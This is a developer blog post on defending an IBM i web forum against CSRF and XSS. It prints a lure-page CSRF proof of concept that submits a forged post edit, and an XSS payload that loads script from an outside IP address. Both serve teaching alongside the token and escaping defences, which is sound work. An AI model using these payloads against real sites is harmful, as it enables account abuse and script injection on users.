No matter how long we work as web application developers it is good to keep up on the latest and greatest attempts by others to maliciously ruin your hard work.
Two of the biggest security topics that are often overlooked are Cross Site Request Forgery (CSRF) and Cross Site Scripting (XSS) Attacks.
I have to admit while these were just buzzwords to me, I decided to look deeper into them to see if any my of my applications (for example, this site) were vulnerable to these types of attacks. They were.
Let's take a quick look at each to understand how they work and understand the available solutions for each.
Cross Site Request Forgery (CSRF)
This type of security breach, in it's worst case scenario, has the potential to do quite a bit of damage. I say "in it's worst case scenario" because the chances of getting everything just right are probably few and far between, but because the possibility exists, it's still important to add CSRF checks to your programs.
This example is one that really opened my eyes. It made total sense as to how it could possibly work. But, it also made me realize that all the variables would have to be aligned perfectly for it to work. Because there is even a chance, I found it's something that should be looked further into.
CSRF takes advantage of the fact that when a request to a URL is made, most browsers will include cookie data in the request, even if the request originates from another domain.
As an example, I put together this simple test and saved it as a text file on my PC:
<html>
<head></head>
<body>
Want $100 for free?
<form id="updateForm" action="https://www.fieldexit.com/forum/posttopic" method="POST">
<input name="groupid" type="hidden" value="test">
<input name="forumid" type="hidden" value="test">
<input name="threadid" type="hidden" value="219">
<input name="draftid" type="hidden" value="">
<input name="mode" type="hidden" value="edit">
<input name="script" type="hidden" value="postform">
<input name="subject" type="hidden" value="I overrode the subject">
<input name="postdata" type="hidden" value="this is a test spoof">
<input type="submit" value="Just click this button!">
</body>
</html>
If you then right click and "open with" your favorite browser, you'll see how this could potentially wreak havoc on your system. In reality this type of code would be placed on someone else's web site. They would probably have some way to try to lure you to their site... that's the first part of the equation. Just getting you to see this web page.
All the user will see on this screen is a button to click that they think will give them $100 (no one is that stupid, right?).
If the button IS clicked, the form that is submitted is one that will attempt to override and update a post on our site here at Field Exit.
The hope is that if the user who clicks the button is signed onto the site the request is going to (in this example, www.fieldexit.com) that this will update the post. This is why it's important that the malicious programmer lures you in some way to their site knowing you've been on Field Exit and hopefully signed on.
Now, we have security in place so if someone tries to update someone else's post that it won't work. But, what if this was one of their posts? Without checking for CSRF this post would go through and the post would be updated. This is because the cookie value used for the user logon will be passed as well as the form field data which are easily retrieved from the the actual Field Exit posting web page itself. (We did find that Google Chrome doesn't pass along this cookie information, though).
As a test, we used Firefox and clicked on this link (after being signed into this site). Using the debugging tools we were able to see the entire request, and see that in fact the user ID cookie is passed with the request even though the request did NOT originate from www.fieldexit.com.
We see that the cookie named gbfuser, which is an encrypted value that links to the user id of the person signed on, is passed along in the request even though the request was not initiated from the Field Exit site.
Again, Google Chrome doesn't seem to do this, but IE and Firefox do.
So how do we prevent any malicious actions from occurring if everything works out just right (ie, the message ID and the user ID match)? In our case, we chose a method named "Double Submit Cookies" which can be found in this list of CSRF solutions. It's important to note that the Referrer header is easily spoofed and should not be used as a viable method to stop such attacks.
The idea behind the Double Submit Cookies solution is that a unique cookie value is created on each visit or on each action that is performed. The value of this cookie is also placed in a hidden form field.
This works because sites outside of your domain can't create session cookies for your specific domain. Or, at least the shouldn't be able to.
We chose to use jQuery for our solution. And, we found it actually was quite simple.
First we add a hidden field named CSRFToken to our form:
<form id="updateForm" action="/forum/posttopic" method="POST">
...
<input type="hidden" name="CSRFToken" value="true">
...
</form>
The next step is to write a cookie with a unique value for the user's visit to the site. You can do this when a user first visits the site, or, in our case, we chose to do it whenever a form is submitted. That's why the value of CSRFToken only contains the value "true". This is so we can get the value of this field using JQuery and if it's "true" we know we want to create the token cookie and update the value of this form field before submission.
Our jQuery now looks like this:
$("#updateForm").submit(function(event) {
event.preventDefault();
if ($("input[name='CSRFToken']").val() == 'true') {
var token = randomString(256);
$("input[name='CSRFToken']").val(token);
setCookie('CSRFToken', token);
}
...
});
Then in our CGI program we add the following code:
D CSRFToken S 256
D CSRFTokenCookie...
D S 256
...
CSRFToken = #getData('CSRFToken');
CSRFTokenCookie = #getCookie('CSRFToken');
...
if (CSRFToken = ' ') or (CSRFTokenCookie = ' ') or
(CSRFToken <> CSRFTokenCookie);
#writeTemplate('stdhtmlheader.erpg');
#loadTemplate('posttopic.erpg');
#loadSection('error');
#replaceData('/%forumdesc%/':#gbf_getForumPath(inGroupID:inForumID));
#replaceData('/%error%/':
'Invalid authentication. Suspected CSRF attempt.');
else;
...
Finally, no matter the outcome (ie, the post is successful or not) we delete the CSRF token Cookie:
...
<script>
$.removeCookie('CSRFToken');
</script>
...
This should make sure that each time someone posts or updates a message, a new CSRF Token value is created that will be used in the cookie and the form. Because the values of this cookie and the form field are tightly coupled this solution, we feel, works well.
You may be thinking, why can't the malicious little bugger just create a cookie with a value and also set the CSRFToken field value in their form spoof? This is because clients are not able to set cookies outside of their domain.
Also, remember that the cookie is created at the beginning of the post, and deleted at the end of the post... no matter the outcome (ie, the message post is successful or not).
Now, if there is anything I may have overlooked here please feel free to let me know!
Cross Site Scripting (XSS) Attacks
XSS Attacks are something else that may be overlooked because we don't write applications expecting users to try to be malicious. But, in a nutshell XSS attacks are performed, in the most basic sense, using JavaScript in a form field that will be displayed somewhere later.
Let's assume that the Subject title for this site wasn't monitored for anything (such as HTML or JavaScript). A user could easily enter the following as the Subject:
<script src="http://101.12.1.45/scripts/blowupyourhouse.js">alert('Prepare to be bamboozled!');</script>
This means than we we displayed the subject it's very possible this would be interpreted as a request for external JavaScript to be loaded and functions to be run. You may think there's not much harm one can do with JavaScript, but I wouldn't even want to offer up the opportunity to see how creative some can be.
The most simple way of combating this type attack is to make sure that any data that is written to your web page does simply conversions for the < and > characters to < and >. This way the characters will be displayed, but not interpreted by the client as an actual script to be run.
Our Jobs Are Never Done
So, it appears that our jobs as web application programmers never ends. Even when we think we've done everything a new vulnerability is found that we need to program for.
Most of us that are writing applications on the IBM i aren't writing simple billboard or blog sites. We're creating sites that mimic the old 5250 green screen applications. And I know that being "too busy" is never an excuse. But if we focus on the most obvious hacking issues we can implement security issues to circumvent them, or hopefully if our application is developed properly, adding it in later won't cause too much of a headache.